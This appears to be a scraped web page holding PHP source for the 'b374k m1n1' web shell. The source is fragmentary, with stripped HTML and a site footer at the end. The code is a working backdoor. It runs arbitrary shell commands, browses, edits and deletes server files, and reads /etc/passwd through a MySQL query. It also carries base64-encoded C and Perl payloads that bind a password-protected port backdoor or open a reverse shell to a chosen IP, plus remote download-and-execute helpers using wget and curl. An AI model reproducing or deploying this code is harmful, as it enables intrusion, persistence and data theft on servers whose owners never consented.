[ \"; if ($letter.\":\" != $v) {$letters .= $letter;} else {$letters .= \"\".$letter.\"\";} $letters .= \" ] \"; } } } if(function_exists(\"posix_getpwuid\") && function_exists(\"posix_getgrgid\")) $posix = TRUE; else $posix = FALSE; $server_ip = @gethostbyname($_SERVER[\"HTTP_HOST\"]); $my_ip = $_SERVER['REMOTE_ADDR']; $bindport = \"13123\"; $bindport_pass = \"b374k\"; $pwds = explode(DIRECTORY_SEPARATOR,$pwd); $pwdurl = \"\"; for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){ $pathz = \"\"; for($j = 0 ; $j <= $i ; $j++){ $pathz .= $pwds[$j].DIRECTORY_SEPARATOR; } $pwdurl .= \"\".$pwds[$i].\" \".DIRECTORY_SEPARATOR.\" \"; } if(isset($_POST['rename'])){ $old = $_POST['oldname']; $new = $_POST['newname']; @rename($pwd.$old,$pwd.$new); $file = $pwd.$new; } $buff = $software.\"
\"; $buff .= $system.\"
\"; if($id != \"\") $buff .= $id.\"
\"; $buff .= \"server ip : \".$server_ip.\" | your ip : \".$my_ip.\"
\"; if($safemode) $buff .= \"safemode ON
\"; else $buff .= \"safemode OFF
\"; $buff .= $letters.\" > \".$pwdurl; function rapih($text){ return trim(str_replace(\"
\",\"\",$text)); } function magicboom($text){ if (!get_magic_quotes_gpc()) { return $text; } return stripslashes($text); } function showdir($pwd,$prompt){ $fname = array(); $dname = array(); if(function_exists(\"posix_getpwuid\") && function_exists(\"posix_getgrgid\")) $posix = TRUE; else $posix = FALSE; $user = \"????:????\"; if($dh = opendir($pwd)){ while($file = readdir($dh)){ if(is_dir($file)){ $dname[] = $file; } elseif(is_file($file)){ $fname[] = $file; } } closedir($dh); } sort($fname); sort($dname); $path = @explode(DIRECTORY_SEPARATOR,$pwd); $tree = @sizeof($path); $parent = \"\"; $buff = \"

$prompt
view file/folder

\"; if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR; else $parent = $pwd; foreach($dname as $folder){ if($folder == \".\") { if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name'].\" : \".$group['name']; } else { $owner = $user; } $buff .= \" \"; } elseif($folder == \"..\") { if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name'].\" : \".$group['name']; } else { $owner = $user; } $buff .= \"\"; } else { if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($folder)); $group=@posix_getgrgid(@filegroup($folder)); $owner = $name['name'].\" : \".$group['name']; } else { $owner = $user; } $buff .= \"\"; } } foreach($fname as $file){ $full = $pwd.$file; if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($file)); $group=@posix_getgrgid(@filegroup($file)); $owner = $name['name'].\" : \".$group['name']; } else { $owner = $user; } $buff .= \"\"; } $buff .= \"

name	size	owner:group	perms	modified	actions
$folder	LINK	\".$owner.\"	\".get_perms($pwd).\"	\".date(\"d-M-Y H:i\",@filemtime($pwd)).\"	newfile \| newfolder
$folder	LINK	\".$owner.\"	\".get_perms($parent).\"	\".date(\"d-M-Y H:i\",@filemtime($parent)).\"	newfile \| newfolder
[ $folder ]	DIR	\".$owner.\"	\".get_perms($pwd.$folder).\"	\".date(\"d-M-Y H:i\",@filemtime($folder)).\"	rename \| delete
$file	\".ukuran($full).\"	\".$owner.\"	\".get_perms($full).\"	\".date(\"d-M-Y H:i\",@filemtime($full)).\"	edit \| rename \| delete \| download (gzip)

\"; return $buff; } function ukuran($file){ if($size = @filesize($file)){ if($size <= 1024) return $size; else{ if($size <= 1024*1024) { $size = @round($size / 1024,2);; return \"$size kb\"; } else { $size = @round($size / 1024 / 1024,2); return \"$size mb\"; } } } else return \"???\"; } function exe($cmd){ if(function_exists('system')) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('exec')) { @exec($cmd,$results); $buff = \"\"; foreach($results as $result){ $buff .= $result; } return $buff; } elseif(function_exists('passthru')) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('shell_exec')){ $buff = @shell_exec($cmd); return $buff; } } function tulis($file,$text){ $textz = gzinflate(base64_decode($text)); if($filez = @fopen($file,\"w\")) { @fputs($filez,$textz); @fclose($file); } } function ambil($link,$file) { if($fp = @fopen($link,\"r\")){ while(!feof($fp)) { $cont.= @fread($fp,1024); } @fclose($fp); $fp2 = @fopen($file,\"w\"); @fwrite($fp2,$cont); @fclose($fp2); } } function which($pr){ $path = exe(\"which $pr\"); if(!empty($path)) { return trim($path); } else { return trim($pr); } } function download($cmd,$url){ $namafile = basename($url); switch($cmd) { case 'wwget': exe(which('wget').\" \".$url.\" -O \".$namafile);break; case 'wlynx': exe(which('lynx').\" -source \".$url.\" > \".$namafile);break; case 'wfread' : ambil($wurl,$namafile);break; case 'wfetch' : exe(which('fetch').\" -o \".$namafile.\" -p \".$url);break; case 'wlinks' : exe(which('links').\" -source \".$url.\" > \".$namafile);break; case 'wget' : exe(which('GET').\" \".$url.\" > \".$namafile);break; case 'wcurl' : exe(which('curl').\" \".$url.\" -o \".$namafile);break; default: break; } return $namafile; } function get_perms($file) { if($mode=@fileperms($file)){ $perms=''; $perms .= ($mode & 00400) ? 'r' : '-'; $perms .= ($mode & 00200) ? 'w' : '-'; $perms .= ($mode & 00100) ? 'x' : '-'; $perms .= ($mode & 00040) ? 'r' : '-'; $perms .= ($mode & 00020) ? 'w' : '-'; $perms .= ($mode & 00010) ? 'x' : '-'; $perms .= ($mode & 00004) ? 'r' : '-'; $perms .= ($mode & 00002) ? 'w' : '-'; $perms .= ($mode & 00001) ? 'x' : '-'; return $perms; } else return \"??????????\"; } function clearspace($text){ return str_replace(\" \",\"_\",$text); } $port_bind_bd_c=\"bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf\"; $port_bind_bd_pl=\"ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=\"; $back_connect=\"fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==\"; $back_connect_c=\"XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==\"; ?> :: b374k m1n1 <?php echo $ver; ?> ::

b374k

m1n1

\"; echo $msg; if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){ $db = $_GET['db']; $query = \"DROP TABLE IF EXISTS b374k_table;\nCREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE \\"/etc/passwd\\"\nINTO TABLE b374k_table;SELECT * FROM b374k_table;\nDROP TABLE IF EXISTS b374k_table;\"; $msg = \"

\"; $tables = array(); $msg .= \"\"; $hasil = @mysql_list_tables($db,$con); while(list($table) = @mysql_fetch_row($hasil)){ @array_push($tables,$table); } @sort($tables); foreach($tables as $table){ $msg .= \"\"; } $msg .= \"

available tables on \".$db.\"
$table

\"; } elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){ $db = $_GET['db']; $table = $_GET['table']; $query = \"SELECT * FROM \".$db.\".\".$table.\" LIMIT 0,100;\"; $msgq = \"

\"; $columns = array(); $msg = \"\"; $hasil = @mysql_query(\"SHOW FIELDS FROM \".$db.\".\".$table); while(list($column) = @mysql_fetch_row($hasil)){ $msg .= \"\"; $kolum = $column; } $msg .= \"\"; $hasil = @mysql_query(\"SELECT count(*) FROM \".$db.\".\".$table); list($total) = mysql_fetch_row($hasil); if(isset($_GET['z'])) $page = (int) $_GET['z']; else $page = 1; $pagenum = 100; $totpage = ceil($total / $pagenum); $start = (($page - 1) * $pagenum); $hasil = @mysql_query(\"SELECT * FROM \".$db.\".\".$table.\" LIMIT \".$start.\",\".$pagenum); while($datas = @mysql_fetch_assoc($hasil)){ $msg .= \"\"; foreach($datas as $data){ if(trim($data) == \"\") $data = \" \"; $msg .= \"\"; } $msg .= \"\"; } $msg .= \"

$column
$data

\"; $head = \"

\"; $msg = $msgq.$head.$msg; } elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != \"\")){ $db = $_GET['db']; $query = magicboom($_GET['sqlquery']); $msg = \"

\"; @mysql_select_db($db); $querys = explode(\";\",$query); foreach($querys as $query){ if(trim($query) != \"\"){ $hasil = mysql_query($query); if($hasil){ $msg .= \"

\".$query.\"; [ ok ]

\"; $msg .= \"\"; for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= \"\"; $msg .= \"\"; for($i=0;$i<@mysql_num_rows($hasil);$i++) { $rows=@mysql_fetch_array($hasil); $msg .= \"\"; for($j=0;$j<@mysql_num_fields($hasil);$j++) { if($rows[$j] == \"\") $dataz = \" \"; else $dataz = $rows[$j]; $msg .= \"\"; } $msg .= \"\"; } $msg .= \"

\".htmlspecialchars(@mysql_field_name($hasil,$i)).\"
\".$dataz.\"

\"; } else $msg .= \"

\".$query.\"; [ error ]

\"; } } } else { $query = \"SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;\"; $msg = \"

\"; $dbs = array(); $msg .= \"\"; $hasil = @mysql_list_dbs($con); while(list($db) = @mysql_fetch_row($hasil)){ @array_push($dbs,$db); } @sort($dbs); foreach($dbs as $db){ $msg .= \"\"; } $msg .= \"

available databases
$db

\"; } @mysql_close($con); } else $msg = \"

cant connect to mysql server

\"; echo $msg; } else{ ?>

&x=mail\" method=\"post\">

mail to

from

subject

\")+6; $akhir = strpos($buff,\"\"); echo \"

\".substr($buff,$awal,$akhir-$awal).\"

\"; } elseif(isset($_GET['view']) && ($_GET['view'] != \"\")){ if(is_file($_GET['view'])){ if(!isset($file)) $file = magicboom($_GET['view']); if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($file)); $group=@posix_getgrgid(@filegroup($file)); $owner = $name['name'].\" : \".$group['name']; } else { $owner = $user; } $filn = basename($file); echo \"

Filename	\".$file.\"
Size	\".ukuran($file).\"
Permission	\".get_perms($file).\"
Owner	\".$owner.\"
Create time	\".date(\"d-M-Y H:i\",@filectime($file)).\"
Last modified	\".date(\"d-M-Y H:i\",@filemtime($file)).\"
Last accessed	\".date(\"d-M-Y H:i\",@fileatime($file)).\"
Actions	edit \| rename \| delete \| download (gzip)
View	text \| code \| image

\"; if(isset($_GET['type']) && ($_GET['type']=='image')){ echo \"

\"; } elseif(isset($_GET['type']) && ($_GET['type']=='code')){ echo \"

\"; $file = wordwrap(@file_get_contents($file),\"240\",\"\n\"); @highlight_string($file); echo \"

\"; } else { echo \"

\"; echo nl2br(htmlentities((@file_get_contents($file)))); echo \"

\"; } } elseif(is_dir($_GET['view'])){ echo showdir($pwd,$prompt); } } elseif(isset($_GET['edit']) && ($_GET['edit'] != \"\")){ if(isset($_POST['save'])){ $file = $_POST['saveas']; $content = magicboom($_POST['content']); if($filez = @fopen($file,\"w\")){ $time = date(\"d-M-Y H:i\",time()); if(@fwrite($filez,$content)) $msg = \"file saved @ \".$time; else $msg = \"failed to save\"; @fclose($filez); } else $msg = \"permission denied\"; } if(!isset($file)) $file = $_GET['edit']; if($filez = @fopen($file,\"r\")){ $content = \"\"; while(!feof($filez)){ $content .= htmlentities(str_replace(\"''\",\"'\",fgets($filez))); } @fclose($filez); } ?>

Upload from url

Process found running, backdoor setup successfully.

\"; } else { $msg = \"

Process not found running, backdoor not setup successfully.

\"; } } elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) { $port = trim($_POST['port']); $passwrd = trim($_POST['bind_pass']); tulis(\"bdp\",$port_bind_bd_pl); exe(\"chmod 777 bdp\"); $p2=which(\"perl\"); exe($p2.\" bdp \".$port.\" &\"); $scan = exe(\"ps aux\"); if(eregi(\"$p2 bdp $port\",$scan)){ $msg = \"

Process found running, backdoor setup successfully.

\"; } else { $msg = \"

Process not found running, backdoor not setup successfully.

\"; } } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) { $ip = trim($_POST['ip']); $port = trim($_POST['backport']); tulis(\"bcc.c\",$back_connect_c); exe(\"gcc -o bcc bcc.c\"); exe(\"chmod 777 bcc\"); @unlink(\"bcc.c\"); exe(\"./bcc \".$ip.\" \".$port.\" &\"); $msg = \"Now script try connect to \".$ip.\" port \".$port.\" ...\"; } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) { $ip = trim($_POST['ip']); $port = trim($_POST['backport']); tulis(\"bcp\",$back_connect); exe(\"chmod +x bcp\"); $p2=which(\"perl\"); exe($p2.\" bcp \".$ip.\" \".$port.\" &\"); $msg = \"Now script try connect to \".$ip.\" port \".$port.\" ...\"; } elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) { $pilihan = trim($_POST['pilihan']); $wurl = trim($_POST['wurl']); $namafile = download($pilihan,$wurl); if(is_file($namafile)) { $msg = exe($wcmd); } else $msg = \"error: file not found $namafile\"; } ?>

Port Binding

Connect Back

Load and Exploit

&x=netsploit\">

Port	\">
Password	\">
Use

&x=netsploit\">

IP	\">
Port	\">
Use

&x=netsploit\">

url
cmd

FAQ Terms and Conditions Privacy Policy Contact Sponsorship/Advertising